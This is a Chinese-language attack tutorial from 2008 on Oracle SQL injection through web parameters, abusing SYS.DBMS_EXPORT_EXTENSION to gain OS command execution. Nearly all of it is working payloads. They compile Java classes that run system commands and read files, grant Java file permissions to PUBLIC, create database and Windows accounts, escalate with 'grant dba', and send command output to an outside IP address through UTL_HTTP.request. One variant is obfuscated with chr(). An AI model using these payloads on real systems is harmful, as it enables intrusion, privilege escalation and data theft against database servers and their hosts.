,,

介紹一個在web上通過oracle注入直接取得主機cmdshell的方法。

以下的演示都是在web上的sql plus執行的，在web注入時把select SYS.DBMS_EXPORT_EXTENSION.....改成
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
的形式即可。(用" 'a'|| "是為了讓語句返回true值)

語句有點長，可能要用post提交。

以下是各個步驟：
1.創建包
通過注入 SYS.DBMS_EXPORT_EXTENSION 函數，在oracle上創建Java包LinxUtil，里面兩個函數，runCMD用于執行系統命令，readFile用于讀取文件：
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)

------------------------
如果url有長度限制，可以把readFile()函數塊去掉，即：
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)
同時把后面步驟提到的對readFile()的處理語句去掉。
------------------------------
2.賦Java權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual

3.創建函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual

4.賦public執行函數的權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual

5.測試上面的幾步是否成功

and '1'<>'11'||(
select  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
)
and '1'<>(
select  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
)
6.執行命令：

/xxx.jsp?id=1 and '1'<>(
select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
)

/xxx.jsp?id=1 and '1'<>(
select  sys.LinxReadFile('c:/boot.ini') from dual
)

注意sys.LinxReadFile()返回的是varchar類型，不能用"and 1<>" 代替 "and '1'<>"。
如果要查看運行結果可以用 union :
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual

或者UTL_HTTP.request(:
/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
)

/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
)
注意：用UTL_HTTP.request時，要用 REPLACE() 把空格、換行符給替換掉，否則會無法提交http request。用utl_encode.base64_encode也可以。

--------------------
6.內部變化
通過以下命令可以查看all_objects表達改變：
select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
7.刪除我們創建的函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual

====================================================
全文結束。謹以此文贈與我的朋友。
linx
124829445
2008.1.12

edu.cn" target="_blank">linyujian@bjfu.edu.cn

======================================================================
測試漏洞的另一方法：
創建oracle帳號：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual

即：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual

確定漏洞存在：
1<>(
select user_id from all_users where username='LINXSQL'
)
給linxsql連接權限：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
刪除帳號：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual

======================
以下方法創建一個可以執行多語句的函數Linx_query()，執行成功的話返回數值"1"，但權限是繼承的，可能僅僅是public權限，作用似乎不大，真的要用到話可以考慮grant dba to 當前的User：

1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end; '''';END;'';END;--','SYS',0,'1',0) from dual
) and ...

1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
) and ...
1.jsp?id=1 and '1'<>(
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
) and ...

1.jsp?id=1 and '1'<>(
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
select 1 from dual
''; commit; end;') from dual
) and ...

多語句：
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual

創建用戶(除非當前用戶有system權限，否則無法成功)：
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
''; commit; end;') from dual

================
以下的方法是先建立函數Linx_Query(),再建立 RunCMD2()
1.創建函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function Linx_Query (p
varchar2) return number authid current_user is begin execute immediate
p; return 1;  end; '''';END;'';END;--','SYS',0,'1',0) from dual;

如果有權限，以下語句應該允許正常
select sys.linx_query('select 1 from dual') from dual;
不然的話運行：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
grant dba to 當前的User'''';END;'';END;--','SYS',0,'1',0) from dual

2.創建包
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
create or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) );  String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
3.創建函數
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
4.給權限
給用戶SYSTEM執行權限：
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual

5.執行函數
select RunCMD2('cmd /c dir') from dual

主題：犀利的 oracle 注入技術

犀利的 oracle 注入技術

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